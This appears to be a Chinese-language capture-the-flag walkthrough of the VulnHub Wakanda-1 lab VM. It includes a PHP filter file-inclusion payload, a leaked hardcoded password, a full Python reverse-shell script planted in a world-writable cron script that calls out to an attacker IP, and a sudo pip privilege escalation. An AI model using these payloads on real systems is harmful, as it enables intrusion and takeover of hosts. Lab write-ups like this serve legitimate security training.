打靶-Wakan_1 前言 靶机名称:Wakanda-1
下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova
操作系统:debian
渗透目标:获取root权限,取得三个flag
渗透过程 扫到靶机ip
扫描开放端口
1 nmap -sV 192.168.31.124 -A
开放了 80 111和3333端口 3333端口还是个ssh
目录扫描一下
访问一下80
源代码发现
可以控制lang得知控制语言?lang=fr会变成法语
文件读取
1 ?lang=php://filter/convert.base64-encode/resource=index
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php $password ="Niamey4Ever227!!!" ;//I have to remember it if (isset($_GET['lang'])) { include($_GET['lang'].".php"); } ?> <!DOCTYPE html> <html lang="en"><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Vibranium market"> <meta name="author" content="mamadou"> <title>Vibranium Market</title> <link href="bootstrap.css" rel="stylesheet"> <link href="cover.css" rel="stylesheet"> </head> <body class="text-center"> <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column"> <header class="masthead mb-auto"> <div class="inner"> <h3 class="masthead-brand">Vibranium Market</h3> <nav class="nav nav-masthead justify-content-center"> <a class="nav-link active" href="#">Home</a> <!-- <a class="nav-link active" href="?lang=fr">Fr/a> --> </nav> </div> </header> <main role="main" class="inner cover"> <h1 class="cover-heading">Coming soon</h1> <p class="lead"> <?php if (isset($_GET['lang'])) { echo $message; } else { ?> Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned! <?php } ?> </p> <p class="lead"> <a href="#" class="btn btn-lg btn-secondary">Learn more</a> </p> </main> <footer class="mastfoot mt-auto"> <div class="inner"> <p>Made by<a href="#">@mamadou</a></p> </div> </footer> </div> </body></html>V&ëjx®.Æ«.ëG¢g.¢h§.Ê(.Æ.y¼¦jf.¢
带了个密码结合网站首页信息,ssh登录 Niamey4Ever227!!!
1 ssh mamadou@192.168.31.124 -p 3333
进来还是个python所以就先切换shell
1 2 3 import pty pty.spawn("/bin/bash")
进来之后拿到flag1
尝试find / -name “flag*”发现没权限
查看敏感信息
发现一个devos用户
去看看
想读发现没权限读
奇怪
发现在/tmp下有个test文件,时间为靶机执行之后的时间创建的,应该是靶机会自动创建test文件
在/srv目录下发现了创建test文件的脚本
使用vi编辑器,编辑脚本,加上反弹shell的命令
antivirus.py文件是一个py简本,拥有者是devops,但是所有人都可以对他读写,所以修改脚本向脚本添加反向shell.有两种反向获取shell的方法
这里编辑改脚本使得反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #! /usr/bin/python import os import socket import subprocess def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.31.215", 999)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["/bin/sh", "-i"]) if __name__ == "__main__": open('/tmp/test', 'w').write('test') reverse_shell()
没想到啊,昨天晚上等了十好几分钟弹不过来shell,今天一上号就弹过来了,好啊好啊
拿到flag2
后面就是要得到root权限了
尝试提权 sudo -l
发现用户devops可无密码执行的sudo命令只有/usr/bin/pip。从来没有遇到这种情况,在网上搜索了好久,找到一种提权方法:fakepip exploit 。具体的漏洞利用方法已写得很清楚。
改下ip和端口
将该文件放在服务器上,在靶机上下载下来
之后 运行
1 sudo /usr/bin/pip install . --upgrade --force-reinstall
成功,拿到flag
总结 中间向靶机上上传文件的时候出了些差错,由于我用的攻击机是新下的,并没有什么nginx或者apache,加上最近下载源被污染,我直接在我vps上起了个http服务(配了域名,ip不好使了才起的http),后来反应过来可以再攻击机上起http。。。。。,害的腾讯云给我发短信说我vps上有危险文件还是,严重告警,难甭。。。